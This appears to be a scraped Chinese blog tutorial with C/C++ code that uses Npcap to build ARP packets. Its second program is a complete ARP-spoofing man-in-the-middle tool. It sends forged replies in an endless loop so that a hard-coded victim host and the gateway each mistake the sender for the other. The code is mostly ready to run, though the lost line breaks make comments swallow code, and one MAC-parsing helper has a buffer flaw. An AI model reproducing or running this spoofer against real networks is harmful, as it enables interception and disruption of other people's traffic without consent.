C/C++ Npcap包实现ARP欺骗
npcap 是Nmap自带的一个数据包处理工具,Nmap底层就是使用这个包进行收发包的,该库,是可以进行二次开发的,不过使用C语言开发费劲,在进行渗透任务时,还是使用Python构建数据包高效,唯一的区别是使用Python的库,可以节约我们寻找数据包结构的时间.
Npcap发送ARP数据包: 通过使用Npcap实现发送一个ARP广播数据包,这里需要先构建数据包的结构,然后在发送出去.
#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#include <pcap.h>#pragma comment(lib, "packet.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib,"WS2_32.lib")#define ETH_ARP 0x0806 // 以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806
#define ARP_HARDWARE 1 // 硬件类型字段值为表示以太网地址
#define ETH_IP 0x0800 // 协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ARP_REQUEST 1 // ARP请求
#define ARP_RESPONSE 2 // ARP应答//14字节以太网首部
struct EthernetHeader
{u_char DestMAC[6]; // 目的MAC地址6字节u_char SourMAC[6]; // 源MAC地址 6字节u_short EthType; // 上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
};//28字节ARP帧结构
struct ArpHeader
{unsigned short hdType; // 硬件类型unsigned short proType; // 协议类型unsigned char hdSize; // 硬件地址长度unsigned char proSize; // 协议地址长度unsigned short op; // 操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。u_char smac[6]; // 源MAC地址u_char sip[4]; // 源IP地址u_char dmac[6]; // 目的MAC地址u_char dip[4]; // 目的IP地址
};//定义整个arp报文包,总长度42字节
struct ArpPacket {EthernetHeader ed;ArpHeader ah;
};// 获取到指定网卡的句柄
pcap_t * OpenPcap(int nChoose)
{pcap_t *pcap_handle; //打开网络适配器,捕捉实例,是pcap_open返回的对象pcap_if_t *alldevs;char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区,大小为256// 获取到所有设备列表if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)exit(0);// 找到指定的网卡设备for (int x = 0; x < nChoose - 1; ++x)alldevs = alldevs->next;if ((pcap_handle = pcap_open(alldevs->name, // 设备名65536, // 每个包长度PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式1000, // 读取超时时间NULL, // 远程机器验证errbuf // 错误缓冲池)) == NULL){pcap_freealldevs(alldevs);exit(0);}return pcap_handle;
}int main(int argc, char *argv[])
{pcap_t *handle; // 打开网络适配器EthernetHeader eh; // 定义以太网包头ArpHeader ah; // 定义ARP包头unsigned char sendbuf[42]; // arp包结构大小42个字节unsigned char src_mac[6] = { 0xaa, 0xaa, 0xaa, 0xaa, 0xff, 0xff };unsigned char src_ip[4] = { 0x01, 0x02, 0x03, 0x04 };handle = OpenPcap(3); // 拿到第三个网卡的句柄// 开始填充ARP包memset(eh.DestMAC, 0xff, 6); // 以太网首部目的MAC地址,全为广播地址memcpy(eh.SourMAC, src_mac, 6); // 以太网首部源MAC地址memcpy(ah.smac, src_mac, 6); // ARP字段源MAC地址memset(ah.dmac, 0xff, 6); // ARP字段目的MAC地址memcpy(ah.sip, src_ip, 4); // ARP字段源IP地址memset(ah.dip, 0x05, 4); // ARP字段目的IP地址// 赋值MAC地址eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序ah.hdType = htons(ARP_HARDWARE);ah.proType = htons(ETH_IP);ah.hdSize = 6;ah.proSize = 4;ah.op = htons(ARP_REQUEST);// 构造一个ARP请求memset(sendbuf, 0, sizeof(sendbuf)); // ARP清零memcpy(sendbuf, &eh, sizeof(eh)); // 首先把eh以太网结构填充上memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah)); // 接着在eh后面填充arp结构// 发送数据包if (pcap_sendpacket(handle, sendbuf, 42) == 0){printf("发送ARP数据包成功! \n");}system("pause");return 0;
}
Npcap 实现ARP欺骗: 欺骗原理,告诉路由器,我是被害主机,告诉被害主机我是路由器,实现比较简单,就是结构封装看起来麻烦。
#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#include <pcap.h>#pragma comment(lib, "packet.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib,"WS2_32.lib")//arp应答/请求(28字节)
#define ARP_HARDWARE 0x0001 // arp_hrd:以太网
#define ARP_REQUEST 0x0001 // arp_op: 请求 request
#define ARP_REPLY 0x0002 // arp_op: 应答 reply //作用:调整结构体的边界对齐,让其以一个字节对齐;
#pragma pack(push, 1) //使结构体按1字节方式对齐//以太网头部(14字节)
#define EPT_IP 0x0800 // eh_type: IP
#define EPT_ARP 0x0806 // eh_type: ARP
#define EPT_RARP 0x8035 // eh_type: RARPtypedef struct eh_hdr
{UCHAR eh_dst[6]; // 接收方MAC地址 UCHAR eh_src[6]; // 发送方MAC地址 USHORT eh_type; // 上层协议类型
}EH_HEADR, *P_EH_HEADR;typedef struct arp_hdr
{USHORT arp_hrd; // 硬件类型 USHORT arp_pro; // 协议类型 UCHAR arp_hln; // 硬件(MAC)地址长度 UCHAR arp_pln; // 协议(IP )地址长度 USHORT arp_op; // 包类型:请求、应答UCHAR arp_sha[6]; // 发送发硬件地址 (应答时,此处可欺骗)ULONG arp_spa; // 发送方协议地址 (应答时,此处可欺骗)UCHAR arp_tha[6]; // 接收方硬件地址 (请求时,此处无用)ULONG arp_tpa; // 接收方协议地址
}ARP_HEADR, *P_ARP_HEADR;//ARP协议栈
typedef struct arp_Packet
{EH_HEADR ehhdr;ARP_HEADR arphdr;
} ARP_PACKET, *P_ARP_PACKET;// 获取到指定网卡的句柄
pcap_t * OpenPcap(int nChoose)
{pcap_t *pcap_handle; //打开网络适配器,捕捉实例,是pcap_open返回的对象pcap_if_t *alldevs;char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区,大小为256// 获取到所有设备列表if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)exit(0);// 找到指定的网卡设备for (int x = 0; x < nChoose - 1; ++x)alldevs = alldevs->next;if ((pcap_handle = pcap_open(alldevs->name, // 设备名65536, // 每个包长度PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式1000, // 读取超时时间NULL, // 远程机器验证errbuf // 错误缓冲池)) == NULL){pcap_freealldevs(alldevs);exit(0);}return pcap_handle;
}void ChangeMacAddr(char *p, UCHAR a[]) //把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址
{char* p1 = NULL;int i = 0;int high, low;char temp[1];for (i = 0; i < 6; i++){p1 = p + 1;switch (*p1) //计算低位的16进进制{case 'A': low = 10; break;case 'B': low = 11; break;case 'C': low = 12; break;case 'D': low = 13; break;case 'E': low = 14; break;case 'F': low = 15; break;default: temp[0] = *p1;low = atoi(temp); //如果为数字就直接转变成对应的数值}switch (*p) //计算高位的16进制{case 'A': high = 10; break;case 'B': high = 11; break;case 'C': high = 12; break;case 'D': high = 13; break;case 'E': high = 14; break;case 'F': high = 15; break;default: temp[0] = *p;high = atoi(temp); //如果为数字就直接转变成对应的数值}p += 2; //指针指向下一个X(高)X(低)字符串a[i] = high * 16 + low; //求和得16进制值}
}void makeArpPacket(ARP_PACKET &ARPPacket, char * srcMac, char * srcIP, char * dstMac, char * dstIP)
{UCHAR MacAddr[6] = { 0 };//以太网头ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst); //目的MAC地址ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src); //源MAC地址。ARPPacket.ehhdr.eh_type = htons(EPT_ARP); //数据类型ARP请求或应答//ARP头 ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); //硬件地址为0x0001表示以太网地址ARPPacket.arphdr.arp_pro = htons(EPT_IP); //协议类型字段为0x0800表示IP地址ARPPacket.arphdr.arp_hln = 6; //硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,ARPPacket.arphdr.arp_pln = 4; //以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。ARPPacket.arphdr.arp_op = htons(ARP_REPLY); //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); //发送方 源MAC地址(欺骗的MAC地址)ARPPacket.arphdr.arp_spa = inet_addr(srcIP); //发送方 源IP地址 (欺骗的MAC地址)ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); //目标的MAC地址 ARPPacket.arphdr.arp_tpa = inet_addr(dstIP); //目标的IP地址
}// 发送ARP数据包
void sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket)
{if (pcap_sendpacket(fp,(const u_char *)&ARPPacket,sizeof(ARPPacket)) != 0)return;
}int main(int argc, char *argv[])
{pcap_t *handle; // 打开网络适配器EH_HEADR eh; // 定义以太网包头ARP_HEADR ah; // 定义ARP包头// 打开第三张网卡,并拿到该网卡的句柄handle = OpenPcap(3);// 填充数据包ARP_PACKET ARPPacket_A = { 0 }; //arp包 欺骗目标ARP_PACKET ARPPacket_B = { 0 }; //arp包 欺骗网关//欺骗受害者,我是网关 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)makeArpPacket(ARPPacket_A, "000000000000", "192.168.1.1", "c89cdcad3a39", "192.168.1.10");//欺骗网关,我是受害者 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)makeArpPacket(ARPPacket_B, "c89cdcad3a39", "192.168.1.10", "000000000000", "192.168.1.1");while (true){//3.发送数据包sendArpPacket(handle, ARPPacket_A);sendArpPacket(handle, ARPPacket_B);printf("send OK ! \n");Sleep(3000);}pcap_close(handle);system("pause");return 0;
}
C/C++ Npcap包实现ARP欺骗相关推荐
- ARP欺骗病毒的专题
(转:http://nc.huel.edu.cn/wt_news/131916192532074846.html) 鉴于目前ARP欺骗对局域网安全运行造成的影响,我们收集整理了这个ARP欺骗病毒的专题 ...
- 【网络攻击手段之-----ARP欺骗】
网络攻击手段之-----ARP欺骗 前言 什么是ARP欺骗 APR欺骗的原理 ARP欺骗的实现 ARP欺骗后可以选择进一步攻击 ARP欺骗的模拟实验 Python语言 C语言 ARP欺骗的防御 前言 ...
- python 实现扫描器,arp欺骗,数据包分析。
from scapy.all import * import os import re import time import threading result=os.popen("route ...
- 修改数据包欺骗服务器,关于arp欺骗修改数据包
2013-8-21 11:06 Wednesday关于arp欺骗修改数据包 事情是这样的. 现在有一款XO软件运行在好多个客户端上,客户端会不定时向服务端提交数据,走http协议,POST提交. 比如 ...
- 网络安全—arp欺骗原理数据包分析
网络安全-arp欺骗原理&数据包分析 提要:arp欺骗虽然比较简单,但是在日常面试中也是会被经常问到的问题,本文将通过kali中的arpspoof工具进行arp攻击,同时使用wireshark ...
- 关于fi dd ler 手机抓包 网卡地址地址_网络抓包的高级手段:ARP欺骗工具的应用...
网络数据包的捕获有时会遇到条件不具备的情况,就会人为利用一些手段来创造抓包环境,来完成"尴尬"局面下的数据抓取.这里我们介绍一款ARP欺骗工具-Cain&Abel. 主界面 ...
- 使用arp欺骗进行同一局域网内的抓包
环境 操作系统: MacOS 10.13.4 包管理工具:MacPorts 2.4.4 arp欺骗工具:arpspoof 2.4 抓取局域网内的IP地址的工具:nmap 7.70 抓包工具:Wires ...
- arpspoof使用教程,Kali arp欺骗,断网攻击,充当中间人转发数据包
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址 获取物理地址(MAC地址)的一个TCP/IP协议. 主机发送信息时将包含目标IP地址的ARP请求广播到 ...
- 局域网arp攻击_python制作ARP欺骗工具
前面给大家做一些扫描工具,今天小菜给大家带来了ARP欺骗工具.当然啦,工具实现起来也是几行代码呢!(是不是依旧如此简单).这个可以让目标器断网,还可以把数据包转到自己机器上,自己机器开启转发数据包功能 ...
- 反arp攻击软件_谈谈电子欺骗中的ARP欺骗
ARP欺骗是一种非常古老的电子欺骗攻击,虽然从诞生到现在已经过去了二十多年,但在很多网络中仍然有效.之前写的 沈传宁:谈谈TCP/IP协议的学习zhuanlan.zhihu.com 文章中也提到,我 ...
最新文章
- Web前端之html_day2
- mysql insert union_在MySQL中使用INSERT INTO SELECT和UNION执行多次插入
- 怎么判断间隙过渡过盈配合_间隙配合过盈配合过渡配合之间的区别
- 查看CentOS版本方法
- vue中的适配:px2rem
- label qt 自动换行_QT编写一个登录界面
- 【分享】U盘大小的随身电脑 – Cotton Candy
- wsl2安装_如何在Windows 10上安装WSL 2?
- Lotus notes 通讯录的导入导出
- vc_redist 各版本下载地址
- Flutter Android权限问题
- 图神经网络——node2vec
- MyCat2测试实战 -- 王者归来的故事
- Vim编辑器快速上手
- SFTP上传下载文件工具类
- 20多岁的年纪,做什么将来才不后悔?
- Worthington 分子生物学解读
- [Android开发] Xposed 插件开发之一: Xposed入门
- ArduinoMega2560 引脚表
- jdk8+Windows10安装及环境变量配置
热门文章
- Hutool介绍(详)
- ascii码01100001_【多选题】计算机中字符a的ASCII码值是(01100001)2,那么字符c的ASCII码值是( )。...
- 关于微软拼音输入法被管家和卫士弄丢的解决办法
- datax修复\N脏数据
- 华为USG6000V防火墙telnet+安全策略!!!
- 华为USG防火墙配置命令
- Lattice FPGA 开发工具Diamond使用流程总结——工具使用
- disunity的使用
- 网站测试基本方法-22. 打印机测试
- 条件随机场Conditional Random Field,CRF、隐马尔可夫模型Hidden Markov Model,HMM、马尔可夫随机场、马尔可夫性质傻傻分不清楚?帮你理理关系